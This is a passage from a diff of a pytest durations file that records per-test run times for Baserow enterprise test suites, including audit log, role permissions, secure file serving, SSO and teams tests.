0.12102129100821912, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_get_messages_returns_empty_list_for_new_chat": 0.11514245899161324, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_get_messages_with_different_message_types": 0.13214524899376556, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_list_assistant_chats": 0.15303670900175348, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_not_list_empty_assistant_chats": 0.10620191501220688, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_send_message_creates_chat_if_not_exists": 0.11283833300694823, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_send_message_does_not_generate_title_on_subsequent_messages": 0.1129322079650592, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_send_message_generates_chat_title_on_first_message": 0.10474683303618804, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_send_message_handles_ai_error_in_streaming": 0.10441645799437538, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_send_message_streams_response": 0.10596091698971577, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_send_message_streams_sources_from_tools": 0.1065768749685958, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_send_message_streams_thinking_messages_during_tool_execution": 0.10502375004580244, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_send_message_ui_context_validation_missing_workspace": 0.09390920802252367, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_send_message_validates_request_body": 0.0977279580256436, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_send_message_with_application_builder_context": 0.10382370802108198, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_send_message_with_automation_context": 0.10347862498019822, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_send_message_with_dashboard_context": 0.10096074998728, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_send_message_with_database_builder_context": 0.10345537500688806, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_send_message_with_minimal_ui_context": 0.10382770901196636, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_submit_feedback_requires_sentiment_field": 0.0976591240032576, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_submit_feedback_toggles_sentiment_from_like_to_dislike": 0.10065320899593644, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_submit_feedback_validates_sentiment_choice": 0.09736870802589692, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_submit_feedback_with_dislike_sentiment_and_text": 0.10376841700053774, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_submit_feedback_with_empty_feedback_text": 0.10367525104084052, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_submit_feedback_with_like_sentiment": 0.1010877919907216, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_submit_feedback_with_null_sentiment": 0.09692870799335651, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_submit_feedback_without_feedback_text": 0.09458974996232428, + "baserow_enterprise_tests/api/assistant/test_assistant_views.py::test_update_existing_feedback": 0.1046402080100961, + "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_admins_cannot_access_audit_log_endpoints_without_an_enterprise_license[get-action_types]": 0.08950679199188016, + "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_admins_cannot_access_audit_log_endpoints_without_an_enterprise_license[get-list]": 0.08957749995170161, + "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_admins_cannot_access_audit_log_endpoints_without_an_enterprise_license[get-users]": 0.091533291968517, + "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_admins_cannot_access_audit_log_endpoints_without_an_enterprise_license[post-async_export]": 0.09222337501705624, + "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_audit_log_action_type_filter_returns_action_types_correctly": 0.10420620997319929, + "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_audit_log_action_types_are_translated_in_the_admin_language": 0.10852770798373967, + "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_audit_log_can_export_to_csv_all_entries": 0.16387949997442774, + "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_audit_log_can_export_to_csv_filtered_entries": 0.16090974901453592, + "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_audit_log_entries_are_created_even_without_a_license": 0.1515787509852089, + "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_audit_log_entries_are_created_from_actions_and_returned_in_order": 0.6007122500159312, + "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_audit_log_entries_are_translated_in_the_user_language": 0.16757354099536315, + "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_audit_log_entries_can_be_filtered": 0.25486858299700543, + "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_audit_log_entries_return_400_for_invalid_values": 0.09429579199058935, + "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_audit_log_user_filter_returns_users_correctly": 0.17105549995903857, + "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_audit_log_workspace_filter_returns_workspaces_correctly": 0.10237487498670816, + "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_log_entries_still_work_correctly_if_the_action_type_is_removed": 0.1730763739615213, + "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_non_admins_cannot_access_audit_log_endpoints[action_types]": 0.0949260420165956, + "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_non_admins_cannot_access_audit_log_endpoints[list]": 0.09593300099368207, + "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_non_admins_cannot_access_audit_log_endpoints[users]": 0.09627662398270331, + "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_non_admins_cannot_access_audit_log_endpoints[workspaces]": 0.09252466601901688, + "baserow_enterprise_tests/api/audit_log/test_audit_log_admin_views.py::test_non_admins_cannot_export_audit_log_to_csv": 0.09783212500042282, + "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_non_admins_cannot_access_workspace_audit_log_endpoints[action_types]": 0.20099266699980944, + "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_non_admins_cannot_access_workspace_audit_log_endpoints[list]": 0.19463558300049044, + "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_non_admins_cannot_access_workspace_audit_log_endpoints[users]": 0.19848295897827484, + "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_non_admins_cannot_export_workspace_audit_log_to_csv": 0.20345699999597855, + "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_staff_member_can_access_audit_log_for_any_workspace[action_types]": 0.16888225000002421, + "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_staff_member_can_access_audit_log_for_any_workspace[list]": 0.17119783302769065, + "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_staff_member_can_access_audit_log_for_any_workspace[users]": 0.17287695800769143, + "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_staff_member_can_access_audit_log_for_their_own_workspace[action_types]": 0.09566941697266884, + "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_staff_member_can_access_audit_log_for_their_own_workspace[list]": 0.0972151670139283, + "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_staff_member_can_access_audit_log_for_their_own_workspace[users]": 0.09847279198584147, + "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_staff_member_cant_access_audit_log_for_own_workspace_without_license[action_types]": 0.09411937498953193, + "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_staff_member_cant_access_audit_log_for_own_workspace_without_license[list]": 0.09552433399949223, + "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_staff_member_cant_access_audit_log_for_own_workspace_without_license[users]": 0.09345541798393242, + "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_workspace_admins_cannot_access_workspace_audit_log_endpoints_without_an_enterprise_license[action_types]": 0.0982406249968335, + "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_workspace_admins_cannot_access_workspace_audit_log_endpoints_without_an_enterprise_license[list]": 0.09543904298334382, + "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_workspace_admins_cannot_access_workspace_audit_log_endpoints_without_an_enterprise_license[users]": 0.0959114590077661, + "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_workspace_admins_cannot_export_workspace_audit_log_without_an_enterprise_license": 0.09726262500043958, + "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_workspace_audit_log_can_export_to_csv_filtered_entries": 0.20258650003233925, + "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_workspace_audit_log_endpoints_raise_404_if_workspace_doesnt_exist[action_types]": 0.09257358399918303, + "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_workspace_audit_log_endpoints_raise_404_if_workspace_doesnt_exist[list]": 0.09583670800202526, + "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_workspace_audit_log_endpoints_raise_404_if_workspace_doesnt_exist[users]": 0.09604512501391582, + "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_workspace_audit_log_export_raise_404_if_workspace_doesnt_exist": 0.09527691703988239, + "baserow_enterprise_tests/api/audit_log/test_audit_log_workspace_views.py::test_workspace_audit_log_user_filter_returns_only_workspace_users": 0.28319050098070875, + "baserow_enterprise_tests/api/data_sync/test_enterprise_data_sync_views.py::test_can_create_row_with_two_way_data_sync": 0.486644624004839, + "baserow_enterprise_tests/api/data_sync/test_enterprise_data_sync_views.py::test_can_delete_row_with_two_way_data_sync": 0.555700833996525, + "baserow_enterprise_tests/api/data_sync/test_enterprise_data_sync_views.py::test_create_data_sync_with_two_way_sync_supported_type": 0.40346395803499036, + "baserow_enterprise_tests/api/data_sync/test_enterprise_data_sync_views.py::test_get_existing_periodic_data_sync_interval": 0.14765416696900502, + "baserow_enterprise_tests/api/data_sync/test_enterprise_data_sync_views.py::test_get_not_existing_periodic_data_sync_interval": 0.13357241699122824, + "baserow_enterprise_tests/api/data_sync/test_enterprise_data_sync_views.py::test_get_periodic_data_sync_interval_without_license": 0.12694516699411906, + "baserow_enterprise_tests/api/data_sync/test_enterprise_data_sync_views.py::test_update_data_sync_enable_two_way_sync_supported_type": 0.45919429100467823, + "baserow_enterprise_tests/api/data_sync/test_enterprise_data_sync_views.py::test_update_periodic_data_sync": 0.13536424897029065, + "baserow_enterprise_tests/api/data_sync/test_enterprise_data_sync_views.py::test_update_periodic_data_sync_audit_log_created": 0.13754804100608453, + "baserow_enterprise_tests/api/data_sync/test_enterprise_data_sync_views.py::test_update_periodic_data_sync_automatically_deactivated_false": 0.14103087602416053, + "baserow_enterprise_tests/api/data_sync/test_enterprise_data_sync_views.py::test_update_periodic_data_sync_without_license": 0.1270684160408564, + "baserow_enterprise_tests/api/field_permissions/test_field_permissions_actions.py::test_can_undo_redo_updating_field_permissions": 0.22275295795407146, + "baserow_enterprise_tests/api/field_permissions/test_field_permissions_actions.py::test_can_undo_updating_field_permissions": 0.1822217500593979, + "baserow_enterprise_tests/api/field_permissions/test_field_permissions_handler.py::test_cannot_create_or_update_rows_without_proper_permisisons": 0.8704666240082588, + "baserow_enterprise_tests/api/field_permissions/test_field_permissions_handler.py::test_fields_with_permissions_can_be_excluded_from_forms": 0.9491028750198893, + "baserow_enterprise_tests/api/field_permissions/test_field_permissions_handler.py::test_if_license_expires_field_permissions_are_ignored": 0.2542988339846488, + "baserow_enterprise_tests/api/field_permissions/test_field_permissions_handler.py::test_only_builder_and_up_can_get_field_permissions": 0.15115270900423639, + "baserow_enterprise_tests/api/field_permissions/test_field_permissions_handler.py::test_only_builder_and_up_can_update_field_permissions": 0.1873830409895163, + "baserow_enterprise_tests/api/field_permissions/test_field_permissions_handler.py::test_update_field_permissions_send_permissions_updated_signal": 0.46958741600974463, + "baserow_enterprise_tests/api/field_permissions/test_field_permissions_views.py::test_builders_can_get_field_permissions": 0.2618237489950843, + "baserow_enterprise_tests/api/field_permissions/test_field_permissions_views.py::test_builders_can_update_field_permissions": 0.5332268339989241, + "baserow_enterprise_tests/api/field_permissions/test_field_permissions_views.py::test_cannot_get_field_permissions": 0.2402968330134172, + "baserow_enterprise_tests/api/field_permissions/test_field_permissions_views.py::test_cannot_update_field_permissions": 0.23592966599971987, + "baserow_enterprise_tests/api/role/test_application_views_with_roles.py::test_list_workspace_applications": 0.25501724900095724, + "baserow_enterprise_tests/api/role/test_application_views_with_roles.py::test_queries_to_list_apps_should_not_increase_with_the_number_of_applications": 0.5813548740115948, + "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_builder_can_make_public_personal_view": 0.388560958992457, + "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_builders_and_up_can_change_views_ownership_type[ADMIN-collaborative-personal-200]": 0.39159937502699904, + "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_builders_and_up_can_change_views_ownership_type[ADMIN-personal-collaborative-200]": 0.3823417080275249, + "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_builders_and_up_can_change_views_ownership_type[BUILDER-collaborative-personal-200]": 0.38026308300322853, + "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_builders_and_up_can_change_views_ownership_type[BUILDER-personal-collaborative-200]": 0.3884437080123462, + "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_builders_and_up_can_change_views_ownership_type[EDITOR-collaborative-personal-401]": 0.38134379204711877, + "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_builders_and_up_can_change_views_ownership_type[EDITOR-personal-collaborative-401]": 0.38648062499123625, + "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_list_views_doesnt_include_personal_views_the_user_used_to_have": 0.432800167996902, + "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_personal_views_created_by_builder_can_be_shared_publicly": 0.3997029169695452, + "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_personal_views_created_by_editor_cant_be_shared_publicly": 0.37462679101736285, + "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_personal_views_shared_by_builder_stops_working_if_builder_looses_table_access": 0.38567620897083543, + "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_viewer_can_create_filter_on_their_own_personal_view": 0.3876994580205064, + "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_viewer_can_create_filters_and_filter_groups_in_personal_views[BUILDER-collaborative-200]": 0.41102612495888025, + "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_viewer_can_create_filters_and_filter_groups_in_personal_views[EDITOR-collaborative-401]": 0.40636221002205275, + "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_viewer_can_create_filters_and_filter_groups_in_personal_views[VIEWER-personal-200]": 0.396533001010539, + "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_viewer_can_make_personal_view": 0.3820617079909425, + "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_viewer_cant_create_filter_on_someone_elses_personal_view": 0.45208137601730414, + "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_viewer_cant_make_collab_view": 0.37247225097962655, + "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_viewer_cant_make_public_personal_view": 0.37179229198955, + "baserow_enterprise_tests/api/role/test_other_views_with_rbac.py::test_viewer_cant_submit_their_own_personal_form_view": 0.40012508403742686, + "baserow_enterprise_tests/api/role/test_role_views.py::test_assign_last_admin_the_admin_role_works": 0.23463179197278805, + "baserow_enterprise_tests/api/role/test_role_views.py::test_batch_assign_role": 0.4054270830238238, + "baserow_enterprise_tests/api/role/test_role_views.py::test_batch_assign_role_duplicates": 0.29884383198805153, + "baserow_enterprise_tests/api/role/test_role_views.py::test_batch_assign_role_is_undoable": 0.420727499993518, + "baserow_enterprise_tests/api/role/test_role_views.py::test_create_role_assignment": 0.4299553759919945, + "baserow_enterprise_tests/api/role/test_role_views.py::test_create_role_assignment_invalid_requests": 0.40328354100347497, + "baserow_enterprise_tests/api/role/test_role_views.py::test_get_role_assignments_application_level": 0.2947839580010623, + "baserow_enterprise_tests/api/role/test_role_views.py::test_get_role_assignments_table_level": 0.3078387909918092, + "baserow_enterprise_tests/api/role/test_role_views.py::test_get_role_assignments_workspace_level": 0.29065129201626405, + "baserow_enterprise_tests/api/role/test_role_views.py::test_list_roles_endpoint_returns_expected_data[roles0]": 0.18624475097749382, + "baserow_enterprise_tests/api/role/test_role_views.py::test_list_roles_endpoint_returns_expected_data[roles1]": 0.17897008298314176, + "baserow_enterprise_tests/api/role/test_role_views.py::test_list_roles_endpoint_returns_expected_data[roles2]": 0.18515850097173825, + "baserow_enterprise_tests/api/role/test_views_filtered_by_roles.py::test_get_database_application_with_tables_filtered_by_roles": 0.15273625100962818, + "baserow_enterprise_tests/api/role/test_views_filtered_by_roles.py::test_list_applications_filtered_by_roles": 0.39244087602128275, + "baserow_enterprise_tests/api/role/test_views_filtered_by_roles.py::test_list_tables_filtered_by_roles": 0.15649875000235625, + "baserow_enterprise_tests/api/search/test_workspace_search_enterprise_permissions.py::test_workspace_search_actor_role_precedence_over_team": 0.40375404196674936, + "baserow_enterprise_tests/api/search/test_workspace_search_enterprise_permissions.py::test_workspace_search_denies_access_without_workspace_permission": 0.45042654196731746, + "baserow_enterprise_tests/api/search/test_workspace_search_enterprise_permissions.py::test_workspace_search_filters_tables_by_permissions": 0.602351917012129, + "baserow_enterprise_tests/api/search/test_workspace_search_enterprise_permissions.py::test_workspace_search_no_role_low_priority_behavior": 0.5348785840033088, + "baserow_enterprise_tests/api/search/test_workspace_search_enterprise_permissions.py::test_workspace_search_respects_field_permissions": 0.4422221250133589, + "baserow_enterprise_tests/api/search/test_workspace_search_enterprise_permissions.py::test_workspace_search_respects_table_access_permissions": 0.5229408330342267, + "baserow_enterprise_tests/api/search/test_workspace_search_enterprise_permissions.py::test_workspace_search_scope_inheritance": 0.44209520900039934, + "baserow_enterprise_tests/api/search/test_workspace_search_enterprise_permissions.py::test_workspace_search_team_permission_inheritance": 0.39780999897629954, + "baserow_enterprise_tests/api/search/test_workspace_search_enterprise_permissions.py::test_workspace_search_team_role_union_behavior": 0.46371787498355843, + "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_audit_log_can_export_to_csv_and_be_served_by_the_backend": 0.13190895703155547, + "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_audit_log_can_export_to_csv_and_be_served_by_the_backend_with_workspace_access": 0.3435088339901995, + "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_deactivate_user_prevents_file_download": 0.19298966700443998, + "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_exporting_csv_writes_file_to_storage_and_its_served_by_the_backend": 0.1632013329945039, + "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_exporting_csv_writes_file_to_storage_and_its_served_by_the_backend_with_workspace_access": 0.2629142909718212, + "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_files_are_served_by_base_file_storage_by_default": 0.09548879199428484, + "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_files_can_be_downloaded_by_the_backend_with_valid_license": 0.09970416701980866, + "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_files_can_be_downloaded_with_dl_query_param_as_filename": 0.1071254579583183, + "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_files_can_be_served_by_the_backend": 0.09874474996468052, + "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_files_urls_can_expire": 0.16991370799951255, + "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_files_urls_can_expire_also_for_authenticated_users": 0.28208058400196023, + "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_files_urls_must_be_valid": 0.1046454579627607, + "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_only_authenticated_users_can_download_files": 0.19198370800586417, + "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_secure_file_serve_requires_license_to_download_files": 0.09874729099101387, + "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_sign_out_prevents_file_download": 0.1926845419802703, + "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_staff_user_can_download_file_without_workspace": 0.10289733301033266, + "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_staff_user_cannot_download_file_outside_own_workspace": 0.18013387496466748, + "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_user_must_have_access_to_workspace_to_download_file": 0.18283195901312865, + "baserow_enterprise_tests/api/secure_file_serve/test_secure_file_serve_views.py::test_user_with_wrong_workspace_cannot_download_file": 0.17658045896678232, + "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_callback_feature_not_active": 0.037761166982818395, + "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_callback_login_auth_flow_error": 0.11216058302670717, + "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_callback_login_deactivated_user": 0.11230258300201967, + "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_callback_login_different_provider": 0.10858712400658987, + "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_callback_login_success": 0.10819958400679752, + "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_callback_provider_doesnt_exist": 0.048384749999968335, + "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_callback_signup_disabled": 0.036188166006468236, + "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_callback_signup_set_language": 0.04409604301326908, + "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_callback_signup_success": 0.059192499989876524, + "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_callback_signup_workspace_invitation": 0.14173841598676518, + "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_callback_signup_workspace_invitation_email_mismatch": 0.12076029198942706, + "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_login_feature_not_active": 0.03987566698924638, + "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_login_provider_doesnt_exist": 0.04273195899440907, + "baserow_enterprise_tests/api/sso/test_oauth_views.py::test_oauth2_login_with_url_param": 0.04539125002338551, + "baserow_enterprise_tests/api/sso/test_saml_views.py::test_saml_assertion_consumer_service": 0.6661129590065684, + "baserow_enterprise_tests/api/sso/test_saml_views.py::test_saml_provider_get_login_url": 0.1899724169925321, + "baserow_enterprise_tests/api/sso/test_saml_views.py::test_user_can_initiate_saml_sso_with_enterprise_license": 0.03971287497552112, + "baserow_enterprise_tests/api/sso/test_saml_views.py::test_user_cannot_initiate_saml_sso_without_enterprise_license": 0.020531542017124593, + "baserow_enterprise_tests/api/sso/test_sso_login_options.py::test_saml_available_with_an_enterprise_license": 0.11480183299863711, + "baserow_enterprise_tests/api/sso/test_sso_login_options.py::test_saml_not_available_without_an_enterprise_license": 0.024163958994904533, "baserow_enterprise_tests/api/sso/test_sso_login_options.py::test_sso_login_request_serializer_with_both_group_and_workspace_token_raises": 0.007722374997683801, "baserow_enterprise_tests/api/sso/test_sso_login_options.py::test_sso_login_request_serializer_with_group_token_converts_to_workspace_token": 0.008466458000839339, - "baserow_enterprise_tests/api/sso/test_sso_login_options.py::test_sso_login_request_serializer_with_workspace_token": 0.0076844580016768305, - "baserow_enterprise_tests/api/teams/test_member_data_types.py::test_teams_member_datatype_workspaceuser_with_subject": 0.14228066599935119, - "baserow_enterprise_tests/api/teams/test_member_data_types.py::test_teams_member_datatype_workspaceuser_with_subjects_across_workspaces": 0.1423321259999284, - "baserow_enterprise_tests/api/teams/test_member_data_types.py::test_teams_member_datatype_workspaceuser_without_subjects": 0.14150074899862375, - "baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_creating_subject_by_email": 0.400279417001002, - "baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_creating_subject_by_id": 0.4025869999995848, - "baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_creating_team": 0.26450462599950697, - "baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_deleting_team": 0.2731415830012338, - "baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_deleting_team_subject": 0.3964665410003363, - "baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_redo_creating_subject_by_email": 0.41248737600017193, - "baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_redo_creating_subject_by_id": 0.4036245829993277, - "baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_redo_creating_team": 0.28872108299856336, - "baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_redo_deleting_team": 0.2838636679998672, - "baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_redo_deleting_team_subject": 0.4034467499986931, - "baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_redo_updating_team": 0.29524399999991147, - "baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_updating_team": 0.288721333002286, - "baserow_enterprise_tests/api/teams/test_teams_views.py::test_create_team": 0.2686998739991395, - "baserow_enterprise_tests/api/teams/test_teams_views.py::test_create_team_subject_by_email": 0.2732135839996772, - "baserow_enterprise_tests/api/teams/test_teams_views.py::test_create_team_subject_by_id": 0.26599425000040355, - "baserow_enterprise_tests/api/teams/test_teams_views.py::test_delete_team": 0.2650505420006084, - "baserow_enterprise_tests/api/teams/test_teams_views.py::test_delete_team_not_as_workspace_member": 0.2556804590012689, - "baserow_enterprise_tests/api/teams/test_teams_views.py::test_delete_team_subject": 0.39722045799953776, - "baserow_enterprise_tests/api/teams/test_teams_views.py::test_list_search_teams": 0.2622950840004705, - "baserow_enterprise_tests/api/teams/test_teams_views.py::test_list_team_subjects": 0.5241294580000613, - "baserow_enterprise_tests/api/teams/test_teams_views.py::test_list_teams": 0.2661673740012702, - "baserow_enterprise_tests/api/teams/test_teams_views.py::test_patch_team_subject": 0.3804050000007919, - "baserow_enterprise_tests/api/teams/test_teams_views.py::test_put_team": 0.2836794580007336, - "baserow_enterprise_tests/api/teams/test_teams_views.py::test_put_team_not_as_workspace_member": 0.25905683299970406, - "baserow_enterprise_tests/api/teams/test_teams_views.py::test_read_team": 0.2774219160000939, - "baserow_enterprise_tests/api/teams/test_teams_views.py::test_read_team_subject": 0.40057012400120584, - "baserow_enterprise_tests/audit_log/test_audit_log_export_job.py::test_audit_log_export_csv_correctly": 0.3072004169998763, - "baserow_enterprise_tests/audit_log/test_audit_log_export_job.py::test_audit_log_export_csv_in_the_user_language": 0.00013129200033290545, - "baserow_enterprise_tests/audit_log/test_audit_log_export_job.py::test_audit_log_export_filters_work_correctly": 0.29440162400078407, - "baserow_enterprise_tests/audit_log/test_audit_log_export_job.py::test_audit_log_export_workspace_csv_correctly": 0.30377458299881255, - "baserow_enterprise_tests/audit_log/test_audit_log_export_job.py::test_deleting_audit_log_export_job_also_delete_exported_file": 0.270639167999434, - "baserow_enterprise_tests/audit_log/test_audit_log_handler.py::test_actions_are_inserted_as_audit_log_entries_and_can_be_deleted_even_without_license": 0.2882056250009555, - "baserow_enterprise_tests/audit_log/test_audit_log_handler.py::test_audit_log_handler_add_entries_for_undone_redone_actions": 0.3144559170004868, - "baserow_enterprise_tests/audit_log/test_audit_log_handler.py::test_audit_log_handler_can_clear_entries_older_than": 0.31336570700023003, - "baserow_enterprise_tests/builder/elements/test_element_types.py::test_auth_form_element_import_export_data_source": 0.29061770899897965, - "baserow_enterprise_tests/builder/elements/test_element_types.py::test_create_auth_form_with_user_source": 0.14634012499936944, - "baserow_enterprise_tests/builder/elements/test_element_types.py::test_create_auth_form_with_user_source_another_app": 0.15033504199982417, + "baserow_enterprise_tests/api/sso/test_sso_login_options.py::test_sso_login_request_serializer_with_workspace_token": 0.013605875021312386, + "baserow_enterprise_tests/api/teams/test_member_data_types.py::test_teams_member_datatype_workspaceuser_with_subject": 0.09574833299848251, + "baserow_enterprise_tests/api/teams/test_member_data_types.py::test_teams_member_datatype_workspaceuser_with_subjects_across_workspaces": 0.09752575002494268, + "baserow_enterprise_tests/api/teams/test_member_data_types.py::test_teams_member_datatype_workspaceuser_without_subjects": 0.09573958301916718, + "baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_creating_subject_by_email": 0.19584324897732586, + "baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_creating_subject_by_id": 0.2025126660009846, + "baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_creating_team": 0.13526895799441263, + "baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_deleting_team": 0.15050070898723789, + "baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_deleting_team_subject": 0.18957654197583906, + "baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_redo_creating_subject_by_email": 0.2167737089912407, + "baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_redo_creating_subject_by_id": 0.20902595901861787, + "baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_redo_creating_team": 0.16546420799568295, + 